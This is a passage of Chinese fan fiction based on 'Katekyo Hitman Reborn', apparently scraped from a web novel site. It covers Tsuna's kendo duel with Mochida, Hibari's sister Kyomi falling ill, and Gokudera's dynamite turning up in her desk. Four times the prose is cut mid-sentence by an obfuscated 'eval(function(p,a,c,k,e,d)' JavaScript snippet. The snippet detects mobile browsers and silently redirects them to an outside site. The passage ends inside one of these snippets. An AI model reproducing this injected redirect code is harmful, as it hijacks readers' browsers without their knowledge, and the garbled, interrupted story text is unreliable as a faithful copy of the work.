虽然偶尔会说出些犀利的话,不过京弥同学本质上还是一个和善的人,心思也很细腻,和云雀学长完全不一样嘛。 即便是对着出了大糗的他,也没有露出看待异类的眼光。 “说不定那个女孩和你很像呢。” “?!” 沢田纲吉愕然回头,Reborn正坐在消火栓上面,晃着脚,慢悠悠地擦拭着手枪。 Reborn却没有为他解答疑惑的想法,只是若无其事地说: “云雀京弥是个很有黑手党潜质的家伙,她的哥哥也相当厉害呢。如果能和她建立不错的关系,把这两个人一起纳入家族,成为你的部下,可是对彭格列统一里世界很有帮助的喔。” 沢田纲吉:“自顾自地就安排起我的人生了——而且怎么可能随随便便就和那两个人打好关系啊!再说了,‘统一里世界’什么的,我根本没说过要做吧!” 小婴儿勾起唇角,意味不明地“哼”了一声。 这时,走廊尽头传来一阵脚步。 沢田纲吉下意识地收敛了声音,有些紧张地转头望去,还没反应过来,一道身影已经冲到了眼前。 在他反应过来之前,那个人已经瞪大眼睛,隔着两步的距离,指着他的鼻子问道: “喂,你就是沢田纲吉吧?” 对方来势汹汹,一脸不善。 沢田纲吉:“是、是的?” “哈,那家伙说得没错,果然一看就很没用……”黑头发的男生嘟囔了些什么,随后竖起眉毛,开始了自我介绍,“我是剑道社的社长持田薰。” 然后,在沢田纲吉回答之前,他又自顾自地开口继续道:“吉田已经和我说了,你早晨居然敢让京子难堪——听好了,放学后的体育馆,我在那里等你较量一场,我绝对不会放过让京子哭的人!” “……!!”果然被当成变态了! 早晨因裸奔告白而被围观的糟糕回忆再度涌上心头,沢田纲吉一时失语,他手忙脚乱地想去寻觅Reborn的身影,却发现刚才还擦拭着枪.支的小婴儿不知何时已经消失了。 持田学长还沉浸在自己下达的战书之中,根本没在意沢田纲吉的走神,只是没有听到回复,又大声问了一句:“喂,你听到没有!” “呃、是!?” 迫于对方的压力,他违心地应答着,默默在心底流下了宽海带泪。 【持田学长的气势太强了,根本无法拒绝… 持田:“那么就说好了,放学后体……” “——你们,在接待室门口吵吵闹闹地做什么?” 一道略显冷淡的嗓音不容置疑地打断了他。 被解救了的沢田纲吉睁大双眼,回头望去,果然是云雀京弥。 她平日总是微微垂下的眼皮难得抬了起来,完完全全显露出苍色的虹膜,因为上扬的眼尾而显得有些凌厉。 说话时,她怀里还抱着一套校服,分明是一副忙着办事的普通学生模样,既没有风纪袖章,也没有可怕的浮萍拐,神态却与校门口的云雀恭弥意外地重合了。 ——想必持田学长也是这么想的,因为他听到了对方倒抽凉气的声音。 “这里是风纪委员的地盘,”京弥说,“在这里吵闹,是想被‘处理’吗?” 大概是因为那张与云雀恭弥过于相似的面庞,几乎不需要多余的猜想,持田薰立刻便明白了对方的身份。 “非、非常抱歉!”刚才还嚣张跋扈的剑道社长立马变了脸色,对着身为后辈的京弥飞快鞠了一躬,“我这就离开!” 沢田纲吉:“……” 区别对待太明显了吧。 然而,没有给他吐槽的机会,持田学长就已经拔腿跑远了。 “好了,烦人的家伙走了。”京弥说着,将怀里的衬衫长裤一股脑塞给他,又挂上了平日里矜持的、有点散漫的表情,“沢田君先把衣服换上吧?” - 在卫生间里换完衬衫,第一节课的时间已经过半了。 他一边低着头整理领口,心不在焉地走出去,心里还盘算着要不要干脆就把第一节的数学课翘掉……反正半途去上课也只会被根津以“连上课都迟到的人以后一定是浪费社会资源的人渣”这种理由痛骂的啦。 然而,半只脚刚踏出洗手间,便听见走廊上传来的交谈声。 “人已经带到了吗?”是京弥同学的声音。 “带到了,大小姐。”这道声音也有点耳熟,有点像是哪个风纪委员……总觉得在校门口听过。 “都说了不要叫我大小姐啊……嘛,算了。已经处理完了是吗?把他的名字登记一下,以后巡查时额外关注这家伙。” “唰唰唰”,提笔记录的声音。 一瞬间,沢田纲吉额角滴下豆大的汗珠。 黑.帮、完全就是黑.帮吧!无论是称呼还是说话的口吻,怎么看都不像是会在学校里出现的场景啊! 然而,秉持着对风纪委员的天然畏惧,他还是没能鼓起勇气走出去,只好躲在洗手池的墙后,听着外面的交流。 只听见风纪委员又说:“吉田葵——敷衍值周生任务、影响同学正常学习…啊,还有最严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189408|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的私下群聚。” 所以最严重的罪行居然是群聚吗……真不愧是风纪委员会…… 紧接着,便听见了吉田同学的声音。他似乎有点口齿不清,沢田纲吉胆战心惊地猜测他也许是被风纪委员揍到鼻青脸肿了才会这样的。 吉田:“我错了云雀!我不该把一学期的值日都推给废柴纲、不该课上扔小纸条讨论山本的追求者、不该放学后和持田学长他们一起去游戏厅的,我错了!” 吉田同学认错倒是很快,话说这些罪行真的至于被揍到说话都困难吗……等一下,刚才是不是有提到他来着? 京弥“啧”了一声,仿佛很是不满: “所以说,这种绰号也很失礼啊。知道为什么让人把你带到我这里吗?就是想看看你有没有认清教训啊——” 随后,如同时代剧里的主上一般,云雀京弥挥了挥手,淡淡地说:“行了。带下去吧。” 吉田:“云雀、草壁学长、小的知错了,不要啊!” ……真的在演时代剧啊! 而且,“废柴纲”什么的,他从小被喊到大其实已经习惯了…不过话说回来,只是一个绰号而已,真的有必要做到这种地步吗! 尽管因为京弥话语里微妙的维护而产生了奇异的触动,但这种情绪很快因为吉田的哀嚎而消弭。 听着对方凄厉的求饶,沢田纲吉踌躇了一阵,最终还是良心战胜了胆怯。 虽然确实被吉田交付了半个学期的值日任务没错,但其实对方也没有刻意胁迫什么的…非要说的话,会变成现在这样只是他自己不争气、根本不擅长拒绝别人而已…… 而且吉田同学的声音实在太凄厉了,根本没办法视而不见啊…… 这样想着,他深吸了口气,努力压下对风纪委员的恐惧,大步走了出去: “请、请等一下,云雀同学!” 那一瞬间,在场所有人的目光都距离在他的身上。 根本没想好要说什么的沢田纲吉:“……” 太冲动了,根本没有想好要说什么就站出去了…! 在京弥充满压迫感的注视下,沢田纲吉张了张嘴,鼓起勇气,闭上眼: “那个,吉田同学他,只是把值日交给了我,除此之外并没有做特别过分的事,请放过他吧!” “哦?” 京弥似乎有些惊讶,然后意识到了什么一般,向左侧让了一步,恰好露出了吉田葵的身影。 “啊,也好。”她很好说话地回答,“既然如此 ,吉田,你就把那几套试卷带回教室去做吧。” 沢田纲吉:“……诶?” 他这才想起去看吉田同学。 只见吉田口中叼着一根棒棒糖,腮帮子鼓起,面部毫发无损…甚至听到他的话,这个人的眼睛还亮了起来,一边咬着糖,一边含糊地对着京弥道起谢来: “谢谢你网开一面,云雀、试卷我会完成的!” 沢田纲吉:“……”等一下? 他后知后觉地意识到、以为是被风纪委员揍到鼻青脸肿的吉田,口齿不清的原因,其实只是在吃棒棒糖而已。 那这么一说,主动站出来的他岂不是—— “心地很善良呢,沢田君。”云雀京弥说。 “大小姐也是,对违反风纪的学生太宽容了。”草壁学长有些不赞同地望向京弥,“想让他们吃到教训,果然还是要按照老方法……” …老方法是什么!拖出去揍一顿吗! 原本的尴尬与不知所措瞬间被强烈的吐槽欲取代,他双眼变成两条横线,转头看向云雀京弥。 像是终于想起来应该解释两句,京弥同学略微歪了一下头,冲着沢田纲吉笑了一笑,露出小小的虎牙。 “本来是想采取‘把人关到接待室写八套试卷、不写完不准出’这种策略的,但是好像被误会了。”京弥同学说,“嘛,不过沢田君都这么说了,也好吧。” 用着“真拿你没办法”的语气、解释了自己做过的(比被风纪委员揍还恐怖的)事情! 沢田纲吉扯起嘴角,勉强跟着她笑了两声:“…哈,哈哈。” “毕竟我也不想一直看守在这里啊。刚刚还听吉田说,他鼓动持田学长去和沢田君用剑术一决高下,一年级的大家都很感兴趣。”京弥说着,兴致盎然地将目光挪到他的脸上,“我也打算去看看呢。” 剑、剑术决斗? 沢田纲吉表情呆滞了一瞬,才想起刚才表情凶恶、来也匆匆去也匆匆的持田学长。 “………” 良久,他诚恳地抬起头,认真道:“不,还是请把吉田同学继续关在接待室写试卷吧……” 5. 这样的我与你 虽然嘴上说着会去看沢田君放学后的决斗,但真正到了时间,我却有点抽不开身了。 “37.6℃。” 校医院的佐藤老师接过温度计,皱着眉下了结论。 “上周是急性肠胃炎,这周又发低烧了……真是的,不是叮嘱过你要注意保暖了吗?怎么连外套都不穿?” 因为已经是医务室的常客了,这位年轻的保健室老师丝毫没有在意我的面子,明明还在药柜里翻翻找找,嘴里却还念叨个没完: “保暖可是很重要的,不要仗着年轻就胡作非为啊,而且你身体素质本来就不强吧?我看了记录,上个学期你来医务室足足二十一次,身为年轻人也太过多灾多病了吧……啊,是不是你哥哥在家欺负你了?如果是这样我也会和校长说明的,有困难要和老师讲喔。” “……” 越说越离谱了,果然成年人一旦坐班坐久了精神就会不正常吗? “佐藤老师太多心啦。”我捧着温水,慢悠悠地啜了一口,“今天早晨外套借给同学了,下午比较暖和就没穿备用的,结果体育课出汗后吹了风就这样了……不过最近天气转暖,估计过三四天就好了。” “天气再暖和,自己不好好珍惜健康也没有用喔。”老师说。 这时,她才把找到的药盒拆开,从里头抽出一板,交到我手上:“抗生素不可以滥用,你先拿着这个,吃两天观察一下情况——咦,京弥,你上哪儿去?” “体育馆。”我说,“同学在那里有活动举办,我打算去看看。” “哈…?” 在佐藤老师做出其他回复之前,我已经半只脚踏出了保健室。 感冒药已经收好放在口袋里,病假证明也由医务室盖了章,我自觉一切妥当,左手扶在门框,冲她道别:“多谢老师,那我就先走……” 佐藤老师没有回答,神情古怪地看着我——慢着,也许不是我,好像是…我身后? 我敏锐地察觉到不对,然而还没想明白怎么回事,身体快过大脑,另一只脚已经踏了出去。 然后,我感觉自己的鼻梁撞上了冰冷的金属。 “……”糟糕。不祥的预感。 我缓慢地、木然地抬起眼,意料之中地望见了一张熟悉的脸。 “今天本来要去收保护费的。”那个人面无表情地说,“因为你耽误了呢,京弥。” 说话时,他将浮萍拐轻轻往前推了推,顾及着自己的鼻梁,我不得不顺着他的力道,窝窝囊囊地退回了医务室。 ……是哥哥自己要过来的,耽误收保护费关我什么事啊! 虽然是这么想着,但说出口搞不好会被扣零花钱。 没错,这个没礼貌的、一来就堵住保健室出口、开口就倒打一耙的混蛋,正是我烦人的兄长,云雀恭弥。 云雀恭弥:“回保健室坐好。” 我:“……” 虽然和他一母同胞,但我有时候还是难以理解他的思维模式。 作为兄长,这家伙大多数情况下对我都采取着放任自流的态度,但在某些奇怪的方面却有着相当的掌控欲……比如干涉恋爱、以及身体健康。 后者倒是可以理解。国小毕业那年,我因为种种原因感染过重病,状态一直很差,在家休养了整整一年,才勉强能够出门。 而我明明只比云雀恭弥晚出生两分钟,却还在读一年级,也是这样的原因。 当时恭弥被父母痛斥“不负责任”“失败的兄长”,还扣了生活费,连着几个月心情都很差劲。 我想他现在如此关照我的健康,是因为妈妈威胁他说过“再有第二次就取缔你的校园组织”这种话。 但作为当事人,我对自己的身体状况其实很有数,今天毫无疑问地只是受凉而已,就算什么都不做,过阵子也会痊愈的。 于是我也这么说了。 “只是受凉引发的低烧而已,不是大问题,哥哥还是收保护费去吧。” 一边说着,我一边弯下腰,如同松鼠一样灵活地从浮萍拐之下钻出去,顺便冲他摆了摆手中的药片:“而且佐藤老师开药了,我晚上回家会吃的,别太担心啦。” 兄长伸腿拦住我,冷漠无情地给予了回应:“能确保自己明天就康复吗?” 当然是不行的。 花言巧语对着他一向行不通,想溜走的话也很快会被追上。我环顾了一圈保健室,只看见一个佐藤老师眼观鼻鼻观心地看文件…话说太明显了,完全就是怕惹麻烦上身的样子啊! 想让老师帮忙作证恐怕也是不可行的。思忖片刻,我决定放弃无用的抵抗,真诚地告知兄长: “我要去体育馆。” 云雀恭弥:“。” 我说:“和同学约好了所以必须要去。” 云雀恭弥面无表情。 已经是听都不想听的表情了! 话又说回来,其实我不去的话沢田也并不会怎么样……可是今天提到“剑道决斗”时,他明显露出了困扰的表情,加上持田薰那个人在高年级的风评也不太好。以沢田的性格,去赴约的话会被欺负的吧? 虽然和他没那么熟,但是我不太想让这样的事情发生。 保健室的时钟嘀嗒作响,我抬头望去,距离放学已经过去十分钟了。 我倏地站起身。 想要的东西一定要得到、决定的事情不管怎么样都会做到,云雀就是这样的处事作风,无论是哥哥还是我。 “承诺是一定要践行的,所以恭弥可以跟在我后面,但不能阻拦我。” 最后,以这样有些任性的话语作为结尾,我甩开保健室的云雀恭弥,径自离开了。 - 并中体育馆的大门常年敞开,因此走到门口时,我便听见了里头的动静。 “等等,那个是!” “噫,又来了吗?” “废柴纲那家伙,到底要干什么啊…” 不同的低语声从四面八方传来,围绕的主人公似乎都是同一个人。 挤在四周的学生实在太多了,从门口望去,根本不知道发生了什么。 非要挤进去也可以吧,但是未免有点煞风景了,一露面搞不好又会被议论,大家说着“云雀来了”然后四散而开什么的。 犹豫了片刻,我走向阴影处的楼梯口,登至二楼,挑了个视野开阔的角落,不动声色地俯视着人群。 然后,我看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189409|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤身裸.体的沢田纲吉。 “复活!拼死也要拿到一本!” 用于对决的竹剑被扔下,向来软弱怯懦的沢田同学又一次露出了险恶的表情,堪称狰狞地把持田薰推到在地。 我:“……” 这个人头上又在冒火了!从安全方面来讲真的没问题吗…? 而且居然就这样把持田薰推倒在地了吗?明明上午提起对方还是一副担惊受怕的样子,沢田君到底经历了什么啊…… 各种吐槽在脑内呼啸而过,我不自觉地向前走了两步,双手撑在扶手上,想要看得更清楚一些。 随后,便听见一声轻飘飘的感叹。 “今早你就是帮这个人借制服的吗?” 我回过头,便看见云雀恭弥站在我身后,正双手环臂看着体育馆下方,目光落在沢田纲吉身上,以一种混合着兴味与嫌弃、还有隐约不爽的语气评价: “哇哦,裸奔。” 浮萍拐又一次出现在他手中。 而这个时候,沢田纲吉已经单手按住面容恍惚的持田薰,右手在他头上狂拔起来,口中疯狂大喊着: “——有一百本了吗?这样有一百本了吗?” 看着沢田纲吉手中大把的头发、近乎昏厥的持田,我的兄长露出了若有所悟的神情。 云雀恭弥:“哼…拔光头发吗,原来如此。” “不要顿悟奇怪的东西啊。”我不咸不淡地吐槽了一句,还未来得及再说什么,一楼忽然爆发出一阵猛烈的欢呼声。 “沢、沢田纲吉获胜!”担任裁判的剑道社学生面色惨败地举起一边的旗帜,觑着半死不活的光头部长,宣布了胜者。 沢田纲吉额前的火焰渐渐熄灭,凶恶的三白眼又变回了原本下垂着的暖色圆眼,他似乎有些错愕,但又像松了一口气似的,下意识地望向了身后的人群。 随后便是各种各样不同的赞誉。 一年级的学生们一拥而上,将赤.裸着上半身的棕发少年团团围住,男孩子们摇着他的肩膀欢呼着,女生们也露出笑颜,着彼此交谈着。 “阿纲,你这家伙也太厉害了!” “真是令我刮目相看啊,能打败持田学长!” 在熙攘的人群正中,沢田纲吉还站在原地,神情恍惚地垂着眼望着自己的双手,似乎难以相信自己做了什么。 我悬着的心也算落了地。 持田薰原本是想给他难堪的吧?没想到沢田居然用这种方式打败了他,还赢得了大家都称赞……看来是我多虑了。 虽然也很想鼓励他,不过这种时候,还是不要去打扰了。毕竟像我这样的人出现,也只会让气氛变得僵硬吧。 不动声色地收回视线。我转过身,看见兄长背靠着墙壁,正低头拿着手机回复消息,脸上带着些许不耐,大概是在厌烦体育馆的吵闹。 注意到我的目光,他收起手机,单手插在口袋中,先一步走向楼梯: “走了。” “嗯。” 这样应答着,我却鬼使神差地回头看了一眼。 然后。 ——越过吵闹的人群,我与被簇拥着的、抬起头、神情怔忪的沢田纲吉,视线交汇。 6. 不可以点燃的炸药 “外套已经烘干叠好装在袋子里了,纲君出门时记得带上喔。” “嗯,我出门了——” 有些心不在焉地和妈妈告了别,沢田纲吉抓起装着校服外套的手提袋,推开家门。 因为平时出门总是匆匆忙忙,今天难得早起一回,不需要狂奔到校门口,居然还有些不习惯。 “居然会害怕迟到,真是太没出息了。”Reborn跳上墙沿,迈着猫一样轻盈的步伐与他并行。 “想成为合格的黑手党BOSS,优秀心理素质也是很重要的哦。” 沢田纲吉:“…不,害怕迟到和心理素质到底是怎么联系上的,而且谁说要成为黑手党BOSS了啊?!” 而且迟到可是并盛中学每个人的心理阴影啊——毕竟那个云雀学长,可是会在校门口把所以迟到的人都揍一顿的! 这样一想,他忽然就产生了前进的动力,即使心里知道大概不会迟到,却还是不自觉地加快了脚步。 更何况…… 往常自己抗拒去学校,是因为不愿意面对同学们的嘲笑、不想承担不属于自己的值日;而现在,这些似乎都不那么值得担心了。 昨天击败持田学长后,大家一拥而上,不住地夸赞他,就连暗自憧憬着的京子也上前与他搭话,为自己早晨失礼跑掉而道歉。 一夕之间,大家的态度都变得不一样了。 “那不是很好吗?”仍然是天真无邪的声音,Reborn盯着他说,“你自己也很想改变吧,之前的情况。” “是这样没错啦,”沢田纲吉下意识地回答,“可是……” 可是什么,他连自己都不太清楚。 只是想起了昨天在体育馆,若有所感抬起头时,与云雀京弥对视的那一眼。 那时候。 明明没什么表情,却好像从她身上感受到了寂寞。 随之而来的,便是无端的内疚。 京弥同学是个内心温柔的人,他这样认定着。 或许是因为与她有过共同的秘密,或许是因为面临没有衣物替换的尴尬局面时,受到了她的关照,又或者是目睹她小小的教训了吉田同学,为自己出过头—— 所以,在被大家围绕的时候,忽然抬头看见形单影只的她,内心不自觉地产生了愧疚,仿佛背叛了某种东西一样。 怀着这样难言的心思走向学校,沢田纲吉想着,今天一定要好好向京弥同学道谢。 “是该好好道谢呢。”小婴儿意味深长地说,“在落魄时关照你的人可不多,云雀京弥是个好女人喔。” “……所以说!”微妙地停顿了一下,他这才反应过来,又是抱怨又是惊疑地瞪着他,“为什么我心里想着的事情你也能附和啊!而且还要用这种封建家长的语气对京弥同学评头论足——你这种小婴儿懂什么啦!” Reborn一脚踢到他的脑门上,在他“痛痛痛”的哀嚎中,镇定自若地说: “我可是有读心术的世界第一杀手哦。” “…到底谁问你了啊!” - “啊,云雀同学吗?”班长翻了翻请假记录,略微思索了一下,“她请了假,好像说是发烧了。” “欸、发烧?”他重复了一遍,蹙起眉,棕色的双眼里自然而然地流露出了担忧与关怀,“怎么会……” 话说到一半,忽然想起自己披上过的她的外衣。 是因为那个吗?京弥同学说着“穿上防止着凉吧”,将外套递给他,可是最后自己却生病了——果然不管怎么想,都是自己的问题啊! “怎么了,沢田?”注意到他的走神,班长皱了皱眉,“云雀她不是经常请病假吗?昨天看她脸色还好,应该和平常一样,过几天就好了。” 说完,班长合上记事本,推了推眼镜,忽然像想起什么似的,“唔”了一声。 “对了,今天会有转学生来,得提前和老师说一下,保留云雀同学的座位。” 沢田纲吉一脸恍惚的坐回自己的位置。 如果云雀京弥在的话,大概会吐槽“你这满脸败犬的样子是怎么回事”,毕竟他现在左脸写着“忧心”,右脸写着“自责”,俨然已经把对方生病归咎在自己身上。 哪怕京弥本身就是个隔三差五生小病的人。 “这位是从意大利归国的转校生,狱寺隼人。” 班主任介绍着讲台上的银发少年时,沢田纲吉还沉浸在“因为我的原因京弥同学才会发烧”这样无止境的纠结与自责中,没能够察觉到对方不善的目光。 然后…… “砰!” 抬眼的工夫,对方已经来到了自己跟前,一脚踹上了自己的课桌。 课桌立刻移了位,发出声响,连带着周围的同学都投来了视线,或惊讶或疑惑。 沢田纲吉:“!!!” 思绪被迫收回,他有点惊恐地看向狱寺,谁料对方竟然也正打量着自己,眼神中带着显而易见的反感与轻蔑。 怎、怎么回事! 【咿——仔细一看,这个人的眼神真的好凶恶!难道我有惹过他吗…!】 面对这样的眼神,沢田纲吉下意识地想要逃避。 狱寺隼人“啧”了一声,收回视线。 大概是因为被很多双眼睛盯着,满脸不爽的转校生没有再说什么,只是双手插兜,大摇大摆地走向了空位。 等到他坐下时,原本安静的教室又传来了低低的交谈声。 “啊,那个位置……” “要提醒狱寺君吗?可是他的表情有点吓人啊。” “但毕竟是那个云雀的……” 在一片窸窸窣窣之中,沢田纲吉敏锐地捕捉到“云雀”两个字,情不自禁地回过头(他甚至努力地控制了转头的幅度,以免和神情可怖的转校生对上视线),试图弄清楚狱寺隼人的座位。 【话说、班长不是有说过,会提醒老师不要让转校生坐错位置吗…】 抱着这样微妙的侥幸心理——他“嘎吱嘎吱”僵硬地转过头,然后,再一次和坐在云雀京弥座位座位上的凶恶转校生对视了。 转校生瞪了他一眼。 “……!!!” 沢田纲吉惊恐地收回视线。 - 【有关理科竞赛的讲义都已经打印出来放在教师办公室了,请参与同学在24小时内领取,逾期取消参赛资格。】 原本在家普通地睡着午觉,手机忽然响起,而后收到了这样的消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189410|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我顶着凌乱的头发放空了一阵,终于想起来自己确实有报名参与竞赛、为此还免了一个月的理科作业。 这样毫无人情味的简讯显然是根津发的。那家伙仗着自己东大毕业,在班级里奉行起社会达尔文主义,稍有不慎就会被他痛骂…… 按理来说,这种情况请同学帮忙带过来也可以,但由于兄长的缘故(比如经常以群聚为由揍人之类的),除了个别善良且心大的同学,其实根本不会有人敢上门的。 不过,送作业的山本君大多数时候都有棒球部的训练要做,与其麻烦对方,还不如自己去学校一趟。 这样想着,我打了个哈欠,从衣柜中翻出便服,潦草地换上后,推门往学校的方向走去。 抵达学校时恰好三点半。 踩着放学的铃声,我从办公室带走了自己的讲义,根津的声音还在背后阴魂不散: “学校里最有希望拿下第一名的就是你了,决不能辜负老师的期望啊——” 我有点不耐,扬起声音,不情不愿地回答:“是,是。” 与此同时,心里想的是:就算第一也不会让你拿到奖金的,王八蛋。 一边想着,我又慢悠悠地转向教室方向,准备顺便把其他科目作业带回去。 此时已经过去了一刻钟,就连值周生都收拾完工具,背包离开了。我站在座位前,西斜的日光柔柔地从窗户洒落进来,空荡荡的教室只有微风拂面。 想到明天还能以生病为由请假,心情就更加好了。 我哼着歌,随手将讲义放在桌面上,低头去抽屉里翻找练习簿—— “……” 等一下。 我看了眼桌肚内。 揉揉眼睛,再看一次。 我:“……?” 我:“……??” 我:“……哈??!” 只看见原本塞着三四本习题簿的课桌之内,已经被橙黄色的、印有“DUNAMIS”标签的炸药塞得满满当当,几乎看不看空隙。 这是什么?一天没见本拉登已经入侵并中想要从一年级A班开始对整个日本实行爆破了吗?! 不不,往好处想,或许只是一些做成炸药的玩具……话说回来为什么全塞在我的位置上?难道其实是什么校园霸凌、对方其实看我不顺眼很久了? 不过话又说回来,普通国中生即使是校园霸凌也做不到这种地步啊。幻术,是幻术吧?据说这个世界上存在幻术师这种东西的,搞不好我其实是那种被选中的孩子—— 我到吸一口凉气,各种诡异的猜测在脑海中疯狂刷屏,甚至怀疑自己是不是发高烧产生了幻觉。 与此同时,我还想起来,自己口袋里有一只来自三年级学姐赠送的打火机。 实践出真知,如果想判断眼前的东西是不是真炸药的话,果然还是点燃了最有效率。 这样打算着,我蹲下.身,和满抽屉的炸药平视。 “咔哒”一声,火苗从指缝中窜出。 带着摇曳的火焰,我神色凝重地将其靠近了引线。 然而,就在点燃它们的前一刻,我听到了一声熟悉的、大声的呵止。 “——不可以!!!” 我下意识地回头望去。 7. 明天见 “…总之,一切都是误会!” 说实话,到底到底总了什么,我完全没听懂。 方才,在我尝试着以打火机点燃(疑似)炸药的引线时,沢田纲吉忽然穿着赤裸着上身、冲进来大喊不要啊很危险什么的。 紧随其后的就是那个一身叮铃哐啷挂饰的白毛……对了,这人叫什么来着,狱寺隼人? 在我诧异地望过去以后,沢田便开始吭吭哧哧地解释起来,解释的内容包括但不限于为什么我的座位里有炸药、“十代目”是什么东西,以及他为什么又没穿衣服。 我很努力地试着去理解,但除了“狱寺君是今天刚来的转校生只是不小心坐错位置”以及“狱寺君明天就会整理好你的位置并且坐到真正的空座上”之外,没有听懂任何东西。 “…所以,其实这些长得和炸药一样的东西其实是烟火?” “……”短暂的沉默之后,沢田纲吉额冒出一滴冷汗,艰难地说,“是的。” “‘十代目’其实是游戏中的称呼?” 狱寺隼人闻言,立马瞪过来,张口想说些什么,沢田立马抬高声音,像要掩饰什么似的,超大声的回答说: “没、没错!是黑手党游戏啦…!哈,哈哈哈。” 与此同时,他以一种会使肌肉抽搐的频率对着狱寺使着眼色。 “?” 狱寺隼人缓缓闭上嘴。 他的表情由困惑转向沉思,又从沉思变成恍然,也不知道脑补了什么,最后定格在审视的表情上,以一种家庭主妇挑剔超市打折过的蔬菜品相的表情,拧眉盯着我。 我:“…嗯?” 是在考察我的意思吗? “——那么,你要加入吗,云雀京弥?” 课桌忽然从中间分裂开来,紧接着,一个小小的平台从地面匀速升起。 Reborn如同某种展品一样,站在平台之上,突然整个冒出来。 随后,课桌又缓缓合并成原样,黑色西装的小孩轻快地跳到桌面上,睁着圆圆的眼睛,抬头和我对视。 在沢田纲吉“你怎么又莫名其妙在学校出现了啊!”的背景音中,Reborn说: “现在家族人数还很不足。以你的资质,完全可以成为BOSS心腹喔。” 然而,不知道这句话触发了什么关键词,刚才还一声不吭、沉浸于思考当中的狱寺,眼神忽然变得极为可怖。 “这个女人怎么可能成为十代目心腹!” 他瞪着我,不知道为什么好像单方面开始竞争起来了:“能成为十代目左右手的只有我!” 另一边,沢田却炸了毛一样地对着Reborn大喊:“都说了不要把京弥同学牵扯进来啊!” Reborn哼了一声,一脚踹到他的小腿上,沢田纲吉一个踉跄,狱寺立刻大喊着“十代目请当心!”冲上去搀扶他…… 场面一时极其混乱。 “比起心腹,我平时比较喜欢充当‘领导的心腹大患’这种职位来着。”思考了一会儿,我摸着下巴说,“非要说的话,就算当‘BOSS的脚趾甲盖’也是可以的,当然前提是工资到位啦。” Reborn跳回桌上,赞赏地看着我:“利益优先吗,你果然很适合当黑手党呢。” 狱寺似乎也对我的答案很满意:“脚趾甲盖吗…哼,你这女人很有自知之明嘛。” 沢田纲吉:“…………” 他张了张口,露出了仿佛很想吐槽点什么,但由于槽点太多所以不知道该说什么的无力表情。 “但是果然脚趾甲还是有点寒酸吧?”想了想,我又说,“要说我个人,还是更喜欢既不需要承担责任、又可以获得收益的职位。这种位置要等版图扩张之后才有吧?只有三个人的话做企业蛀虫还是不太方便呢。” 狱寺表情一滞,眼睛上笼罩了一层深深的阴影: “彭格列怎么可能会有你这种人……” 沢田纲吉的眼睛已经变成了两道横杠,神色中显露出纯粹的无言以对,我猜测他应该在心底吐槽着“为什么说出了野原广志一样的台词”之类的,因为他的表情是这样告诉我的。 “对、对了!” 大概是意识到再不终止这个话题就会引发新的麻烦,沢田竖起一根手指用一种略显僵硬的语气转移起话题,说: “云雀同学的衣服!” 他从座位上找寻了一翻,将装着外套的手提袋,双手递还过来。 我低头望去,并中鹅黄色的西服外套被工工整整地叠放在其中,隐隐约约能闻到洗衣液的清香。 我不由一怔,接过袋子,下意识地回答:“…多谢。” “先前因为衣服的事情,给云雀同学添了很多麻烦,还因此害得你生病了……”顿了一顿,他抬起眼,认真地看着我,轻声说,“对不起。” 不知怎么地,我有点难以和他对视。 说实话,此前的十五年人生中,从来没有人像他这样,对我认真又诚恳地表达着感谢或歉意,因此我也不知道怎样的应对才是合理且得体的。 少顷,我移开了视线。 “不用道歉。”我干巴巴地说,“倒是沢田君,一会儿叫我‘京弥同学’,一会儿又是‘云雀同学’的,听起来很辛苦啊。直接叫名字我是不会介意的喔。” 他怔了一下:“…诶?” “朋友应该都是这样的吧。”我想了想,从袋子中取出洗好的外套,抖开,如此前一样,不太熟练地把它披在了沢田身上。 “而且你今天又没有穿衣服,即使洗干净了我也还是会把它披在你身上的啊,沢田君。” 话又说回来,身为风纪委员长家属的我(虽然听起来很奇怪,但放在并盛中学就合理了),衣柜里是完全不缺校服的,所以制服外套是否归还对我来说也无关紧要。不过出于对同学的关怀,是不是要多带几套校服比较好呢? 思维不自觉地发散起来,我眨了眨眼,强迫自己回神,却发现周围一片微妙的沉默。 “没穿衣服只是意外啦…!”最后,沢田纲吉底气不足地反驳说。 他的神情略微有些不自然,张了张口,似乎还想说什么,身后却传来了狱寺阴沉的低语: “可恶,竟然没有及时为十代目披上衣服,让那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 